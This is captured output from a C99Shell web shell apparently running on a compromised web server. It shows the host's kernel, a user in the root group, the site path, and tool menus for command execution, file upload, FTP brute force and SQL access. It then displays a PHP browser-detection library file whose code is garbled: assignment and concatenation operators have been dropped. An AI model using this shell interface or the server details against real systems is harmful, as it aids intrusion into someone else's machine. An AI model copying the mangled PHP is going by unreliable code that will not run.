!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/whichbrowser/parser/src/Data/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Applications.php (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WhichBrowser\Data;

use 
WhichBrowser\Model\Browser;
use 
WhichBrowser\Model\Version;

class 
Applications
{
    public static 
$BOTS = [];
    public static 
$BOTS_REGEX '';

    public static 
$BROWSERS = [];
    public static 
$BROWSERS_REGEX '';

    public static 
$OTHERS = [];
    public static 
$OTHERS_REGEX '';


    public static function 
identifyBrowser($ua)
    {
        require_once 
__DIR__ '/../../data/regexes/applications-browsers.php';

        if (
preg_match(self::$BROWSERS_REGEX$ua)) {
            require_once 
__DIR__ '/../../data/applications-browsers.php';

            foreach (
self::$BROWSERS as $type => $list) {
                foreach (
$list as $i => $item) {
                    if (
preg_match($item['regexp'], $ua$match)) {
                        return [
                            
'browser' => [
                                
'name'      => $item['name'],
                                
'hidden'    => isset($item['hidden']) ? $item['hidden'] : false,
                                
'stock'     => false,
                                
'channel'   => '',
                                
'type'      => $type,
                                
'version'   => isset($match[1]) && $match[1] ? new Version([ 'value' => $match[1], 'details' => isset($item['details']) ? $item['details'] : null ]) : null
                            
],

                            
'device' => isset($item['type']) ? [
                                
'type'      => $item['type']
                            ] : 
null
                        
];
                    }
                }
            }
        }
    }

    public static function 
identifyOther($ua)
    {
        require_once 
__DIR__ '/../../data/regexes/applications-others.php';

        if (
preg_match(self::$OTHERS_REGEX$ua)) {
            require_once 
__DIR__ '/../../data/applications-others.php';

            foreach (
self::$OTHERS as $type => $list) {
                foreach (
$list as $i => $item) {
                    if (
preg_match($item['regexp'], $ua$match)) {
                        return [
                            
'browser' => [
                                
'name'      => $item['name'],
                                
'hidden'    => isset($item['hidden']) ? $item['hidden'] : false,
                                
'stock'     => false,
                                
'channel'   => '',
                                
'type'      => $type,
                                
'version'   => isset($match[1]) && $match[1] ? new Version([ 'value' => $match[1], 'details' => isset($item['details']) ? $item['details'] : null ]) : null
                            
],

                            
'device' => isset($item['type']) ? [
                                
'type'      => $item['type']
                            ] : 
null
                        
];
                    }
                }
            }
        }
    }
    public static function 
identifyBot($ua)
    {
        if (
is_null($ua)) {
            return;
        }

        require_once 
__DIR__ '/../../data/regexes/applications-bots.php';

        if (
preg_match(self::$BOTS_REGEX$ua)) {
            require_once 
__DIR__ '/../../data/applications-bots.php';

            foreach (
self::$BOTS as $i => $item) {
                if (
preg_match($item['regexp'], $ua$match)) {
                    return new 
Browser([
                        
'name'      => $item['name'],
                        
'stock'     => false,
                        
'version'   => isset($match[1]) && $match[1] ? new Version([ 'value' => $match[1], 'details' => isset($item['details']) ? $item['details'] : null ]) : null
                    
]);
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0115 ]--